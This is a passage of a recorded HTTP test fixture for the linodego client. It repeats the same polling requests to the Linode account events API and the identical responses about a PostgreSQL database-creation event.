'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, 